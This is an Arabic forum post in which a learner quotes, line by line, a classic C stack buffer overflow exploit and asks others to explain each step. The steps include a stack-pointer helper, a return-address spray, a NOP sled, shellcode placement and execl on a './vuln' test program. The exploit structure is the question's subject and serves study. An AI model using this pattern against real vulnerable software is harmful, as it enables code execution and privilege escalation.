بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
حاب أبدأ بنقاش جدي << أعتقد إنكم شفتوا بعض مواضيعي اللي في القسم ومالقيت لها جواب :angry:
أنا هالحين فاتح موضوع أتمنى من الكل أن يدلو بدلوه << أتمنى عدم وضع روابط....اللي تعرفه(اللي في راسك) طلعوه هنا
خلونا نتفنن في الإجابات عن الموضوع << عموما أنا لم أواجه تقصير منكم أنا مستواي إرتفع في السي بفضل الله ثم إنتم
ودايما تساعدوني في الخروج من المشكلات اللتي تواجهنى وأتمنى إنكم تساعدوني في هذا الموضوع لكي يكون مرجع لي ومرجع لإخواني الصغار في المستقبل :wacko:
نبدأ وندخل في الموضوع وعلى بركة الله: :)
س:
unsigned long sp(void) // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointerمالذي حدث هنا؟أنا أعلم إنه يستخدم لإعادة مؤشر المكدس << ولكن مالذي حدث؟كيف؟مالذي تغير؟ << لو تركتوه عادي لإنه كود إسمبلي لكن اللي يعرف لايقصر
س:
offset = 0; // Use an offset of 0
لماذا تم تعيين الأوفسيت بالقيمة 0؟ :wacko: << لو جعلته 10 مالذي سيحدث؟
س:
esp = sp(); // Put the current stack pointer into esp
معروف ولكن اللي مو معروف هو:
ret = esp - offset; // We want to overwrite the ret address
طبعا العملية هنا عملية طرح وذلك لإخراج عنوان العودة....صحيح؟ << ليه جعلنا العملية (جمع)؟ وكيف نطلع عنوان العودة ألا تختلف من جهاز إلى جهاز؟
س:
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);هذه واضحة ولا غبار عليها << إذا تبوني أفتح موضوع واشرحها لكم أنا مستعد :D
س:
// Allocate 600 bytes for buffer (on the heap) buffer = malloc(600);
هذه إنتم شرحتوها لي وقلتوا لي إنهم بمثابة new في السي++ وفهمتها وأعتقد إنها حجزت مساحة 600 بايت في الـHeap? << كلامي صحيح؟وما مرادف Heap في العربية؟
س:
ptr = buffer;
أعتقد هنا إنه المؤشر ptr يؤشر على المساحة اللي تم حجزها بواسطة الدالة malloc << صحيح؟
س:
addr_ptr = (long *) ptr;
الجملة اللتي على يمين الـ(=) لم أفهمها فماذا تعمل؟وأخيرا ماهي القيمة اللتي ستسند للـaddr_ptr
س:
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }هذا أصعب شي واجهني في الدنيا كلها :( قعدت أناظر فيها ربع ساعة وماني فاهم شي :angry:
س:
// Fill the first 200 bytes of the buffer with NOP instructions
for(i=0; i < 200; i++)
{ buffer = '\x90'; }
هذه فاهمها ولله الحمد << يحجز nop من أول 200 بايت للبفر
س:
// Put the shellcode after the NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode; }هذه الحمدلله أيضا فاهمها هي تقوم بوضع الشل كود حبة حبة(بايت بايت عن طريق التكرار for) << صحيح؟
ولكن لازلت أضع علامة إستفهام على هذا السطر:
{ *(ptr++) = shellcode; }س:
// End the string buffer[600-1] = 0;
مكتوب (End the string) << بس لم أفهم ؟ :unsure:
ولماذا 600-1 وليس 600+1؟ << ماني عبيط ولكن أريد أن أعرف الحكمة من عملية الطرح
س:
execl("./vuln", "vuln", buffer, 0);هذه عارفها ولو تبوني أشرحها ... أشرحها لكم عادي << لازم تثبتون موضوعي
س:
free(buffer);
الحمدلله عارفها أيضا وهي بمعنى delete وأعتقد إنها لتحرير الذاكرة اللتي حجزناها B) << خطير صح؟
طبعا أبي مناقشة جامدة ياشباب (h)
لإني صراحة طفشت وأنا كل دقيقة منزل موضوع ماحد يرد <_<
فقلت خليني أعمل مناقشة << مناقشة حلوة وانا راح أناقشكم باللي عنده لإنه أغلب الكتب العربية في النت ماتكلمت عن الـmalloc
عموما ,,, أنا عارف أغلبكم راح يشرك ويجاوب لإنكم ماتقصرون والله :rolleyes:
ومشكور مقدما -waf